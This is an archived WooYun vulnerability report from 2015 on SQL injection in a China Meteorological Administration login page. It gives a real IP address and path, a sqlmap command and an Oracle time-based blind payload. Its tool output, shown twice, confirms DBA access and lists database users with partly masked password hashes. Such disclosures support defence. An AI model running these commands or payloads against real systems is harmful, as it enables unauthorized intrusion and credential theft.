当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130744

漏洞标题:中国气象局某站oracle注入(管理员权限)

相关厂商:中国气象局

漏洞作者: Ysql404

提交时间:2015-07-31 18:29

修复时间:2015-09-18 17:44

公开时间:2015-09-18 17:44

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-31: 细节已通知厂商并且等待厂商处理中
2015-08-04: 厂商已经确认,细节仅向厂商公开
2015-08-14: 细节向核心白帽子及相关领域专家公开
2015-08-24: 细节向普通白帽子公开
2015-09-03: 细节向实习白帽子公开
2015-09-18: 细节向公众公开

简要描述:

无意发现的后台,测试了下发现存在注入

详细说明:

漏洞地址:http://111.205.50.219/ 登录页面参数usernam存在注入;

root@tom:~# sqlmap -u  http://111.205.50.219/spring/flww/flowUser/isRight  --data "username=admin&userPassword=admin" --threads 10  --random-agent  --is-dba
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:18:57
[12:18:57] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': Opera/9.52 (X11; Linux i686; U; fr)
[12:18:57] [INFO] resuming back-end DBMS 'oracle'
[12:18:57] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: username=admin' AND 8718=DBMS_PIPE.RECEIVE_MESSAGE(CHR(104)||CHR(114)||CHR(106)||CHR(87),5) AND 'DLqf'='DLqf&userPassword=admin
---
[12:18:57] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[12:18:57] [INFO] testing if current user is DBA
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
current user is DBA: True
[12:19:24] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/111.205.50.219'
database management system users [23]:
[*] ANONYMOUS
[*] CTXSYS
[*] DBSNMP
[*] DIP
[*] DMSYS
[*] EXFSYS
[*] MDDATA
[*] MDSYS
[*] MGMT_VIEW
[*] OLAPSYS
[*] ORACLE_OCM\x11
[*] ORDPLUGINS
[*] ORDSYS
[*] OUTLN
[*] QXJNEW
[*] SCOTT
[*] SI_INFORMTN_SCHEMA
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB


database management system users password hashes:
[*] ANONYMOUS [1]:
password hash: anonymous
[*] CTXSYS [1]:
password hash: 71E687F036AD****
[*] DBSNMP [1]:
password hash: E066D214D542****
[*] DIP [1]:
password hash: CE4A36B8E06C****
[*] DMSYS [1]:
password hash: BFBA5A553FD9****
[*] EXFSYS [1]:
password hash: 66F4EF5650C2****
[*] MDDATA [1]:
password hash: DF02A496267D****
[*] MDSYS [1]:
password hash: 72979A94BAD2****
[*] MGMT_VIEW [1]:
password hash: 6141B4FDFB45****
[*] OLAPSYS [3]:
password hash: NULL
password hash: \x11
password hash: invalid
[*] ORDPLUGINS [1]:
password hash: 88A2B2C18343****
[*] ORDSYS [1]:
password hash: 7EFA02EC7EA6****
[*] OUTLN [1]:
password hash: 4A3BA55E0859****
[*] QXJNEW [1]:
password hash: AF6A316081AA****
[*] SCOTT [1]:
password hash: F894844C3440****
[*] SI_INFORMTN_SCHEMA [1]:
password hash: 84B8CBCA4D47****
[*] SYS [1]:
password hash: DCB748A5BC53****
[*] SYSMAN [1]:
password hash: 447B72916119****
[*] SYSTEM [1]:
password hash: EED9B65CCECD****
[*] TSMSYS [1]:
password hash: 3DF26A8B17D0****
[*] WMSYS [1]:
password hash: 7C9BA362F831****
[*] XDB [1]:
password hash: 88D8364765FC****

漏洞证明:

root@tom:~# sqlmap -u  http://111.205.50.219/spring/flww/flowUser/isRight  --data "username=admin&userPassword=admin" --threads 10  --random-agent  --is-dba
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:18:57
[12:18:57] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': Opera/9.52 (X11; Linux i686; U; fr)
[12:18:57] [INFO] resuming back-end DBMS 'oracle'
[12:18:57] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: username=admin' AND 8718=DBMS_PIPE.RECEIVE_MESSAGE(CHR(104)||CHR(114)||CHR(106)||CHR(87),5) AND 'DLqf'='DLqf&userPassword=admin
---
[12:18:57] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[12:18:57] [INFO] testing if current user is DBA
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
current user is DBA: True
[12:19:24] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/111.205.50.219'
database management system users [23]:
[*] ANONYMOUS
[*] CTXSYS
[*] DBSNMP
[*] DIP
[*] DMSYS
[*] EXFSYS
[*] MDDATA
[*] MDSYS
[*] MGMT_VIEW
[*] OLAPSYS
[*] ORACLE_OCM\x11
[*] ORDPLUGINS
[*] ORDSYS
[*] OUTLN
[*] QXJNEW
[*] SCOTT
[*] SI_INFORMTN_SCHEMA
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB


database management system users password hashes:
[*] ANONYMOUS [1]:
password hash: anonymous
[*] CTXSYS [1]:
password hash: 71E687F036AD****
[*] DBSNMP [1]:
password hash: E066D214D542****
[*] DIP [1]:
password hash: CE4A36B8E06C****
[*] DMSYS [1]:
password hash: BFBA5A553FD9****
[*] EXFSYS [1]:
password hash: 66F4EF5650C2****
[*] MDDATA [1]:
password hash: DF02A496267D****
[*] MDSYS [1]:
password hash: 72979A94BAD2****
[*] MGMT_VIEW [1]:
password hash: 6141B4FDFB45****
[*] OLAPSYS [3]:
password hash: NULL
password hash: \x11
password hash: invalid
[*] ORDPLUGINS [1]:
password hash: 88A2B2C18343****
[*] ORDSYS [1]:
password hash: 7EFA02EC7EA6****
[*] OUTLN [1]:
password hash: 4A3BA55E0859****
[*] QXJNEW [1]:
password hash: AF6A316081AA****
[*] SCOTT [1]:
password hash: F894844C3440****
[*] SI_INFORMTN_SCHEMA [1]:
password hash: 84B8CBCA4D47****
[*] SYS [1]:
password hash: DCB748A5BC53****
[*] SYSMAN [1]:
password hash: 447B72916119****
[*] SYSTEM [1]:
password hash: EED9B65CCECD****
[*] TSMSYS [1]:
password hash: 3DF26A8B17D0****
[*] WMSYS [1]:
password hash: 7C9BA362F831****
[*] XDB [1]:
password hash: 88D8364765FC****

修复方案:

测试比较慢,未继续。

版权声明:转载请注明来源 Ysql404@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-04 17:42

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中央气象局通报,由其后续协调网站管理部门处置。

最新状态:

暂无


漏洞评价:

评论